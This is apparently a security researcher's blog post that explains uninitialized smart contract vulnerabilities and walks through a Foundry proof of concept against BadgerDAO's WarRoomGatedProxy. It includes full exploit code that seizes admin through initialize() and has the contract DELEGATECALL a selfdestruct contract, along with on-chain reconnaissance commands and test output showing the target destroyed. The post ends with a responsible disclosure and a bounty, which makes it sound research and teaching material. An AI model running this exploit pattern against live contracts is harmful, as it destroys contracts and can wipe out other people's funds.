How to Write a PoC for an Uninitialized Smart Contract Vulnerability in BadgerDAO Using Foundry
TL;DR
In this post, we’re going to learn how Foundry can be used to write a proof of concept (PoC) for uninitialized smart contract vulnerabilities. We will take a look at and exploit a simple uninitialized smart contract vulnerability we found in BadgerDAO. If you are familiar with this type of vulnerability, jump straight to the Foundry PoC section. You can also find the PoC code on this GitHub repository.
Introduction
We’ve recently been looking into smart contract vulnerability classes. The uninitialized smart contract vulnerability class stood out for two reasons:
- The largest bug bounty payout the world has ever seen — $10 million (write-up here) — was for this type of vulnerability.
- The simplicity of automating the process of finding this type of vulnerabilities.
We recently automated the process of finding uninitialized smart contract vulnerabilities and were able to find more than 100 such uninitialized contracts. Fortunately, most of them were unexploitable (i.e., you can’t really abuse the contract, even if you were the owner/admin). This post, however, will focus on creating a PoC for a vulnerability that is exploitable, using the increasingly popular Ethereum development framework called Foundry. We’re going to build on top of a great two-part blog post by Immunefi, tweaking the process for a specific category of vulnerabilities.
Access Control in Smart Contracts
Code in smart contracts (i.e., functions) can be made accessible externally to others (either users or other contracts) by using the public/external function modifiers. Otherwise, if a function modifier is private/internal, the code will only be accessible to the contract itself. Solidity does not support a more granular mechanism for access restriction than that. Either everybody has access or nobody does.
This means that smart contracts do not have built-in ownership or access control mechanisms, which leads smart contract developers to come up with their own ways of implementing such a mechanism with their limited toolset. The simplest example can be seen in the following contract:
pragma solidity ^0.8.0; contract SimpleOwnable { address public _owner; uint public _value; constructor() { _owner = msg.sender; } function setValue(uint newValue) external{ require(msg.sender == _owner, "You are not the owner!"); _value = newValue; } }
The constructor() of the contract sets the contract deployer as the owner address of the contract. Then we have a “guarded” setValue() function, which simply checks whether msg.sender or the entity trying to call this function (either an externally owned account EOA or a different smart contract) is the owner defined for the contract. This check will only pass if the entity calling the function is the deployer of the contract. So far so good. But what happens if we want to transfer ownership? Or set it to a multisig wallet that is not the deployer? Or create a more granular permission mechanism? This is why we have some industry-standard contracts that implement different access control mechanisms available for developers. We’ll see an example of one of these in the next section.
Smart Contract Initialization
In order to understand the logic behind uninitialized smart contract vulnerabilities, we have to know the basics of proxy patterns. We’ll cover the basics briefly here in case you’re not familiar, but we would also recommend reading the following post by Trail of Bits if you want to deepen your understanding.
Any smart contract can implement a constructor() function. This function is automatically executed when the smart contract is deployed and cannot be called after the contract deployment. This function is where most developers write some contract initialization code.
When you have a system of smart contracts containing a proxy contract and an implementation contract, the constructor() function of each contract can only be executed in its own context. This means that we cannot execute the initialization logic of the implementation contract (implemented in its constructor()) in the context of the proxy. Doing so is a common use case since the whole idea of having an implementation contract is to be able to write new code and execute it in the context of the proxy, including initialization code.
In order to overcome this issue, which is inherent to the nature of the constructor() function in Solidity, there’s a standard of writing an initialize() function. initialize() should have the exact same functionality as a constructor() would have, except it is executable even after the contract has been deployed. This leads to an initialize() function in an implementation contract, which is callable from the proxy contract in order to initialize the state. Keep in mind that constructor is a Solidity keyword that has to be called like that, and initialize is a common standard that can be replaced.
What Is an Uninitialized Smart Contract Vulnerability?
Contracts that only implement a constructor() function cannot remain uninitialized since this function is automatically executed at deployment. However, if the contract implements the initialization logic in a different function (e.g., initialize()), it can technically remain uninitialized if the deployer doesn’t explicitly call it.
Ownable smart contracts can sometimes remain uninitialized. In other words, anyone can initialize them and set themselves as the owners. This usually happens due to an oversight by the deployer. This isn’t a security issue per se, but sometimes smart contracts can make some functionality available to the owner, which can lead to problematic scenarios.
Uninitialized smart contract vulnerabilities have the potential to be extremely devastating. The worst case could be an attacker stealing all of the contract’s funds or destroying the contract, burning all the funds and leaving them unrecoverable forever. There are many use cases that might lead to these undesirable outcomes. Think of an ERC20 contract that allows the owner to withdraw all the funds from it or a contract that allows the owner to DELEGATECALL to an arbitrary address, which can lead to a malicious contract that can call SELFDESTRUCT and destroy the uninitialized contract.
The most common case, and the one that can potentially be the most devastating (see the aforementioned uninitialized Wormhole contract), is an uninitialized implementation contract in a UUPS-type pattern. An attacker can initialize the implementation and make it perform a DELEGATECALL to a malicious contract that calls SELFDESTRUCT using the upgradeToAndCall() functionality, leaving the proxy contract to point to a destructed address without the ability to update it (the upgrade logic in a UUPS pattern is on the implementation side).
If we want to look for simple contracts that haven’t been initialized, it can be as simple as reading the owner variable in storage slot 0 or calling the owner() function if the variable is public in order to see if it’s set to any address.
$ cast call 0x6Eab01a25e98f3755ed24ccF217958D6416A881e "owner()" 0x0000000000000000000000000000000000000000000000000000000000000000
BadgerDAO’s Uninitialized WarRoomGatedProxy Contract
One of the uninitialized contracts we found was BadgerDAO’s WarRoomGatedProxy contract at address 0x16EaA9f54ACD904cA22873DB2c1E39e76b128Be9. This contract inherits from AccessControlUpgradeable, an OpenZeppelin contract that handles roles and access control.
From a quick review of the WarRoomGatedProxy (feel free to follow along with the source code), we can see that it inherits an initialize() function. This function calls setupRole(DEFAULT_ADMIN_ROLE, initialAdmin) in order to set the address provided as an argument in the transaction as the initial admin address of the WarRoomGatedProxy contract, using the functionality AccessControlUpgradeable implements. We can also notice that the constant value for DEFAULT_ADMIN_ROLE hasn’t been changed and is still 0x00. Let’s use cast and this information to check whether this contract is indeed uninitialized and has no admins:
$ cast call 0x16EaA9f54ACD904cA22873DB2c1E39e76b128Be9 "getRoleMemberCount(bytes32)" 0x00 0x0000000000000000000000000000000000000000000000000000000000000000
Zero admins. This means we can call the initialize() function and set ourselves as the initial admins of this contract. As mentioned before, being an admin of a contract doesn’t inherently give us any special primitives. We need to check what the code implements in order to understand if we can abuse the fact that we are admins.
When a smart contract developer wants to limit some functionality of the contract to admins only, they usually use function modifiers. We have two modifiers in this contract: initializer and onlyApprovedAccount. The first one is just meant to verify that a function is only executed once, while the other is more relevant to us. onlyApprovedAccount makes sure that the message sender is an “approved account”.
We don’t actually have a modifier that checks for the admin role, so our focus shifts to finding out what an approved account can do. Keep in mind that approved accounts are also being set up in the initialize() function, which we can call since WarRoomGatedProxy hasn’t been initialized yet.
The onlyApprovedAccount modifier is used in two functions: pause() and call(). The first function suggests that as an approved account we can pause the contract altogether, which can be devastating in and of itself in some cases. Other than that, we can also use a call function. This function eventually calls an execute() function that our contract inherits from the Executor contract:
contract Executor { function execute( address to, uint256 value, bytes memory data, uint256 operation, uint256 txGas ) internal returns (bool success) { if (operation == 0) success = executeCall(to, value, data, txGas); else if (operation == 1) success = executeDelegateCall(to, data, txGas); else success = false; } function executeCall( address to, uint256 value, bytes memory data, uint256 txGas ) internal returns (bool success) { // solium-disable-next-line security/no-inline-assembly assembly { success := call(txGas, to, value, add(data, 0x20), mload(data), 0, 0) } } function executeDelegateCall( address to, bytes memory data, uint256 txGas ) internal returns (bool success) { // solium-disable-next-line security/no-inline-assembly assembly { success := delegatecall(txGas, to, add(data, 0x20), mload(data), 0, 0) } } }
As you can see, we have the ability to make an arbitrary DELEGATECALL! This is somewhat comparable to an RCE vulnerability in the traditional sense since now we’re able to make the target contract call our own malicious contract, which will be able to access the target’s context. We don’t seem to have any assets to steal from this contract, but we are able to destroy it using a SELFDESTRUCT operation, which our malicious contract will execute in WarRoomGatedProxy’s context.
PoC Using Foundry
Exploiting the Vulnerability
Once we find a contract that we think we can initialize, take ownership of and exploit in a certain way, we need to be able to prove that! Luckily in the blockchain space, it’s easy to fork the blockchain locally and prove this ability. We will use Foundry’s forge tool to create and test our exploit. The desired flow of the attack is pretty straightforward, and it proceeds as follows:
- Call the initialize() function in WarRoomGatedProxy. This will set the attacker’s address as both admin and an approved account.
- Deploy a malicious contract that will call SELFDESTRUCT.
- Call the guarded call() function in WarRoomGatedProxy, and make it do a DELEGATECALL to our malicious contract. This will effectively perform the SELFDESTRUCT in the WarRoomGatedProxy context, destroy it and send its balance to the attacker (msg.sender).
Now that we have a plan, let’s implement it.
1. First, we need to create a new forge project. We’ll create a new directory and initialize the project.
$ forge init
forge created a few directories for us, plus a few example contract and script files.
$ tree -L 3 . ├── foundry.toml ├── lib │ └── forge-std │ ├── LICENSE-APACHE │ ├── LICENSE-MIT │ ├── README.md │ ├── foundry.toml │ ├── lib │ ├── package.json │ ├── src │ └── test ├── script │ └── Counter.s.sol ├── src │ └── Counter.sol └── test └── Counter.t.sol 8 directories, 9 files
We will treat our PoC as a test, and either edit Counter.t.sol or create a new Exploit.t.sol test file for that purpose.
2. Before jumping into the exploit code, we need to understand what are the external components are that we’ll be interacting with. In this case, we have the WarRoomGatedProxy which is at 0x16EaA9f54ACD904cA22873DB2c1E39e76b128Be9. In order for our contract to interact with it, we need an address and an interface. Writing the interface should be quite easy, especially in this case, but we can also use the contract code itself for it, if it’s available. This strategy can come in very handy in more complex cases where we have a lot of interfaces. In order to do that we will use a helpful command-line tool (written by @cergyk1337) to download the WarRoomGatedProxy source code from Etherscan.
npm i -g ethereum-sources-downloader
And now we’ll download the source to our project’s lib directory we run this command:
$ ethereum-sources-downloader etherscan 0x16EaA9f54ACD904cA22873DB2c1E39e76b128Be9 lib Written lib/WarRoomGatedProxy.sol
3. At this point we can implement our exploit:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6; import "forge-std/Test.sol"; import "../lib/WarRoomGatedProxy.sol"; contract Exploit is Test { address payable constant TARGET_ADDRESS = payable(0x16EaA9f54ACD904cA22873DB2c1E39e76b128Be9); WarRoomGatedProxy target; address attacker; function setUp() public { // Set the target interface target = WarRoomGatedProxy(TARGET_ADDRESS); // Check the status of WarRoomGatedProxy before console.log("[+] WarRoomProxyGatedProxy exists in target addres:", isContract(TARGET_ADDRESS)); // Set up the initialize argument address[] memory approved = new address[](1); approved[0] = address(this); // Initialize WarRoomGatedProxy console.log("[+] Initializing WarRoomGatedProxy"); target.initialize(address(this), approved); // Deploy the destructive malicious contract attacker = address(new attackerContract()); console.log("[+] attackerContract deployed at", attacker); // Call the call function console.log("[+] Calling WarRoomProxyGatedProxy.call with the attacker contract"); target.call( attacker, // attackerContract address 0, // call value abi.encodeWithSignature("attack()"), // the malicious initalized function 1 // opereation == delegatecall ); } function isContract(address _addr) public view returns (bool) { uint32 size; assembly { size := extcodesize(_addr) } return size > 0; } function testExploit() public view { // Check the status of WarRoomGatedProxy after console.log("[+] WarRoomProxyGatedProxy exists in target address:", isContract(TARGET_ADDRESS)); } } contract attackerContract{ function attack() external{ selfdestruct(payable(msg.sender)); } }
Note the Solidity version we’re using. Sometimes we’ll have to use an older version of the compiler in order to be able to utilize our target’s downloaded source code for the interface. You can change the version to match the target as we did here, or if it’s not possible to use a version that fits both the downloaded target’s source and forge, you’ll have to write the interface yourself.
Another important thing to note is that since our final goal is to make WarRoomGatedProxy call SELFDESTRUCT, we will want to verify its destruction. This can be done only in a new transaction, based on the SELFDESTRUCT opcode functionality:
“The current account is registered to be destroyed, and will be at the end of the current transaction.”— from evm.codes
In our example, we will place the exploit in the setUp() function, which forge executes before any actual test function. So our setup will exploit and destroy the target, and the testExploit() function will verify that the contract has been actually destroyed (alternatively, Foundry’s cheatcodes can also be helpful in this case or similar ones).
Once that’s out of the way, we’ll get right to the exploit:
- First, we set our target address as a in line 13.
- Then we use the isContract() function to check whether there is code in the target address. This function is essentially a wrapper around the EXTCODESIZE opcode that checks if it’s bigger than 0.
- Next, in lines 19 and onwards, we set up the appropriate arguments based on the function signature and call the initialize() function with our own address (address(this) )to be set as an admin and an approved addresses array of size 1, with our address again.
- Line 27 deploys the attacker’s attackerContract, that has a single attack() function. attack() destructs the calling contract and sends its balance to the message sender.
- Line 32 is where we make the target function call our malicious contract, which will destroy it. Pay attention to the crucial 4th parameter, which tells the target to perform a DELEGATECALL rather than a CALL.
- Lastly, after the setUp() function has been executed, we have our testExploit() function that will verify the destruction of our target by calling isContract() again.
This concludes our exploit walkthrough.
4. Finally, we can fork the mainnet and test our exploit! If you haven’t already, let’s set an environment variable for an RPC URL of your choice:
$ export ETH_RPC_URL=
And then fork and test:
$ forge test -vvvvv --fork-url $ETH_RPC_URL [⠑] Compiling... [⠘] Compiling 2 files with 0.8.17 [⠒] Compiling 1 files with 0.6.12 [⠰] Solc 0.8.17 finished in 823.29ms [⠘] Solc 0.6.12 finished in 1.55s Compiler run successful (with warnings) warning[2018]: lib/forge-std/src/StdCheats.sol:191:5: Warning: Function state mutability can be restricted to pure function assumeNoPrecompiles(address addr) internal virtual { ^ (Relevant source part starts here and spans across multiple lines). Running 1 test for test/Exploit.t.sol:Exploit [PASS] testExploit() (gas: 6179) Logs: [+] WarRoomProxyGatedProxy exists in target address: true [+] Initializing WarRoomGatedProxy [+] attackerContract deployed at 0xCe71065D4017F316EC606Fe4422e11eB2c47c246 [+] Calling WarRoomProxyGatedProxy.call with the attacker contract [+] WarRoomProxyGatedProxy exists in target address: false Traces: [280822] Exploit::setUp() ├─ [0] console::log([+] WarRoomProxyGatedProxy exists in target address:, true) [staticcall] │ └─ ← () ├─ [0] console::log([+] Initializing WarRoomGatedProxy) [staticcall] │ └─ ← () ├─ [162682] 0x16EaA9f54ACD904cA22873DB2c1E39e76b128Be9::initialize(Exploit: [0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84], [0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84]) │ ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Exploit: [0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84], sender: Exploit: [0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84]) │ ├─ emit RoleGranted(role: 0xb41779a0a6fb2d244c04b68eca2e33b96017b71ad13276557715e2b122d3d002, account: Exploit: [0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84], sender: Exploit: [0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84]) │ └─ ← () ├─ [22075] → new attackerContract@0xCe71065D4017F316EC606Fe4422e11eB2c47c246 │ └─ ← 110 bytes of code ├─ [0] console::log([+] attackerContract deployed at, attackerContract: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246]) [staticcall] │ └─ ← () ├─ [0] console::log([+] Calling WarRoomProxyGatedProxy.call with the attacker contract) [staticcall] │ └─ ← () ├─ [9099] 0x16EaA9f54ACD904cA22873DB2c1E39e76b128Be9::call(attackerContract: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], 0, 0x9e5faafc, 1) │ ├─ [5115] attackerContract::attack() [delegatecall] │ │ └─ ← () │ ├─ emit Call(to: attackerContract: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], value: 0, data: 0x9e5faafc, operation: 1) │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001 └─ ← () [6179] Exploit::testExploit() ├─ [0] console::log([+] WarRoomProxyGatedProxy exists in target address:, false) [staticcall] │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 2.72sTest result: ok. 1 passed; 0 failed; finished in 2.72s
We can see that before our exploit, isContract() returned true, and after our exploit, it returns false. We did it!
Disclosure
This bug was reported to BadgerDAO via Immunefi and acknowledged to be valid. WarRoomGatedProxy is not part of the production system according to BadgerDAO, though it was under their Assets in scope section on Immunefi. Despite that, BadgerDAO paid out their medium bounty for this finding. BadgerDAO also mentioned that in their production system, they do have a version of a WarRoomGatedProxy contract from which they removed the ability to use the call() function as a DELEGATECALL. This would essentially make the uninitialized vulnerability unexploitable in any significant manner.
Summary
In this post, we learned what an uninitialized smart contract can look like and how we can easily create a PoC for destroying a vulnerable contract using forge. We hope that this information can help to more easily find, exploit and responsibly disclose such vulnerabilities.